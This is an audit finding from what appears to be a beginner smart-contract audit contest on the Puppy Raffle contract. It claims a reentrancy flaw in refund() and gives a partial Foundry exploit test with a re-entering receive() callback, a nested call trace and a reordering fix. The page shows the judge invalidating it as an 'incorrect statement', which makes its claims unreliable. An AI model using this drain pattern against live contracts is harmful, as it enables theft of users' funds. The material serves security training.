Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Reentrancy in refund() allows draining all contract funds

Root + Impact

Description

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "...");
require(playerAddress != address(0), "...");
​
@> payable(msg.sender).sendValue(entranceFee); // interaction before effect
players[playerIndex] = address(0); // effect runs too late
}

Risk

Likelihood: High — any participant can trigger it with a single call to refund(), no special conditions required.

Impact: High — complete loss of contract funds: the entrance fees of every other active player plus any accrued protocol fees are drained in one transaction.

Proof of Concept

This Foundry test deploys an attacker contract that re-enters refund()
through its receive() callback. Because players[playerIndex] is only zeroed
after the ETH is sent, each re-entry passes the same checks and the refund
repeats until the contract is drained. The trace below shows refund(4) being
called five times in a single transaction.

// test/PuppyRaffleReentrancy.t.sol
function test_reentrancy_drains_contract() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle);
vm.deal(address(attacker), entranceFee * 2);
​
uint256 balanceBefore = address(puppyRaffle).balance;
attacker.attack{value: entranceFee}();
uint256 balanceAfter = address(puppyRaffle).balance;
​
assertLt(balanceAfter, entranceFee); // raffle drained
assertGt(address(attacker).balance, entranceFee); // attacker profited: theft, not just drain
assertLt(balanceAfter, balanceBefore);
}
​
// The attacker re-enters through its receive():
receive() external payable {
if (address(puppyRaffle).balance >= entranceFee) {
puppyRaffle.refund(attackerIndex);
}
}
​
Execution trace — refund(4) is called 5 times nested before any state update:
​
[91802] PuppyRaffle::refund(4)
├─ ReentrancyAttacker::receive{value: 1e18}()
│ ├─ PuppyRaffle::refund(4)
│ │ ├─ ReentrancyAttacker::receive{value: 1e18}()
│ │ │ ├─ PuppyRaffle::refund(4)
... (5 calls total)
​
Result: [PASS]. The attacker ends with more ETH than it deposited,
confirming theft of the other participants' fees.

Recommended Mitigation

Apply the Checks-Effects-Interactions pattern: zero out the player slot and
emit the event before sending ETH, so a re-entrant call fails the
address(0) check. A nonReentrant guard can be added as defense in depth, but
reordering is the primary fix.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "...");
require(playerAddress != address(0), "...");
​
- payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
+ payable(msg.sender).sendValue(entranceFee);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!